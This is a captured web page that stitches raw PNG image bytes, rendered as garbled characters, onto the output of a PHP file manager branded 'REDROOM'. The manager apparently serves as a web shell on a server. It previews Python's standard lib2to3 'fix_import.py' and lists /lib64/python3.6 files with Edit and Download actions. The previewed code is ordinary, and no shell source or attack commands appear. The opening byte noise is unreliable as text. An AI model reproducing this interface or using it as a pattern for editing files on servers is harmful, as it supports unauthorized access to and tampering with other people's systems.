PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
PHP 5.6.40
Preview: fix_import.py Size: 3.18 KB
/lib64/python3.6/lib2to3/fixes/fix_import.py

"""Fixer for import statements.
If spam is being imported from the local directory, this import:
    from spam import eggs
Becomes:
    from .spam import eggs

And this import:
    import spam
Becomes:
    from . import spam
"""

# Local imports
from .. import fixer_base
from os.path import dirname, join, exists, sep
from ..fixer_util import FromImport, syms, token


def traverse_imports(names):
    """
    Walks over all the names imported in a dotted_as_names node.
    """
    pending = [names]
    while pending:
        node = pending.pop()
        if node.type == token.NAME:
            yield node.value
        elif node.type == syms.dotted_name:
            yield "".join([ch.value for ch in node.children])
        elif node.type == syms.dotted_as_name:
            pending.append(node.children[0])
        elif node.type == syms.dotted_as_names:
            pending.extend(node.children[::-2])
        else:
            raise AssertionError("unknown node type")


class FixImport(fixer_base.BaseFix):
    BM_compatible = True

    PATTERN = """
    import_from< 'from' imp=any 'import' ['('] any [')'] >
    |
    import_name< 'import' imp=any >
    """

    def start_tree(self, tree, name):
        super(FixImport, self).start_tree(tree, name)
        self.skip = "absolute_import" in tree.future_features

    def transform(self, node, results):
        if self.skip:
            return
        imp = results['imp']

        if node.type == syms.import_from:
            # Some imps are top-level (eg: 'import ham')
            # some are first level (eg: 'import ham.eggs')
            # some are third level (eg: 'import ham.eggs as spam')
            # Hence, the loop
            while not hasattr(imp, 'value'):
                imp = imp.children[0]
            if self.probably_a_local_import(imp.value):
                imp.value = "." + imp.value
                imp.changed()
        else:
            have_local = False
            have_absolute = False
            for mod_name in traverse_imports(imp):
                if self.probably_a_local_import(mod_name):
                    have_local = True
                else:
                    have_absolute = True
            if have_absolute:
                if have_local:
                    # We won't handle both sibling and absolute imports in the
                    # same statement at the moment.
                    self.warning(node, "absolute and local imports together")
                return

            new = FromImport(".", [imp])
            new.prefix = node.prefix
            return new

    def probably_a_local_import(self, imp_name):
        if imp_name.startswith("."):
            # Relative imports are certainly not local imports.
            return False
        imp_name = imp_name.split(".", 1)[0]
        base_path = dirname(self.filename)
        base_path = join(base_path, imp_name)
        # If there is no __init__.py next to the file its not in a package
        # so can't be a relative import.
        if not exists(join(dirname(base_path), "__init__.py")):
            return False
        for ext in [".py", sep, ".pyc", ".so", ".sl", ".pyd"]:
            if exists(base_path + ext):
                return True
        return False

Directory Contents

Dirs: 1 × Files: 53

Name Size Perms Modified Actions
- drwxr-xr-x 2026-02-06 23:01:23
Edit Download
2.37 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
984 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
320 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
590 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
3.67 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
3.27 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
979 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.00 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.44 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.59 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
644 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
547 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
451 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
3.12 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
4.76 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
3.18 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
5.55 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
289 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
708 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.21 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.57 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.51 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.04 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
476 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
3.55 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
8.00 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
606 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
571 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
3.10 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
591 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
768 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
3.39 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.20 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.78 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.86 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
454 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
837 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.13 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.17 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
613 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.66 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
449 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.01 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.54 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
5.43 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.73 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.23 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
8.16 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.06 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
2.63 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
689 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download
1.26 KB lrw-r--r-- 2018-12-23 21:37:14
Edit Download
47 B lrw-r--r-- 2018-12-23 21:37:14
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI